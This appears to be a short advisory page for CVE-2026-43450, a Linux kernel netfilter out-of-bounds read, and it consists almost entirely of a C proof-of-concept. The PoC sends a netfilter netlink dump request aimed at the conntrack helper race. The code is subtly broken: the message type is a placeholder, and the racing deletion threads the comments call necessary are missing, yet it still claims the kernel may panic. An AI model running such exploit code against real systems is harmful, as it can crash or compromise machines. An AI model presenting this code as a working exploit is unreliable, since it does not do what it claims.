CVE-2026-43450 Linux内核netfilter越界读取漏洞

/* * PoC for CVE-2026-43450 * This PoC demonstrates the race condition leading to OOB read. * It requires a kernel vulnerable to CVE-2026-43450. * Compile with: gcc -o poc cve_2026_43450.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #define NETLINK_NETFILTER 12 // Trigger function to dump the table void trigger_dump() { int sock_fd; struct sockaddr_nl src_addr, dest_addr; struct nlmsghdr *nlh = NULL; char buf[4096]; sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER); if (sock_fd < 0) { perror("socket"); return; } memset(&src_addr, 0, sizeof(src_addr)); src_addr.nl_family = AF_NETLINK; bind(sock_fd, (struct sockaddr*)&src_addr, sizeof(src_addr)); // Simplified Netlink message setup to invoke dump // Real exploitation requires precise Netfilter attributes setup memset(buf, 0, sizeof(buf)); nlh = (struct nlmsghdr *)buf; nlh->nlmsg_type = 0; // NFNL_MSG_CTHELPER_GET (simplified) nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP; nlh->nlmsg_len = NLMSG_LENGTH(0); sendto(sock_fd, nlh, nlh->nlmsg_len, 0, NULL, 0); // Loop to receive data, simulating the dump rounds recv(sock_fd, buf, sizeof(buf), 0); close(sock_fd); } int main() { // In a real scenario, we would spawn threads to delete helpers // while this dump is running to hit the race condition. printf("[+] Triggering Netfilter cthelper dump...\n"); trigger_dump(); printf("[+] If vulnerable, kernel may panic/OOPS here.\n"); return 0; }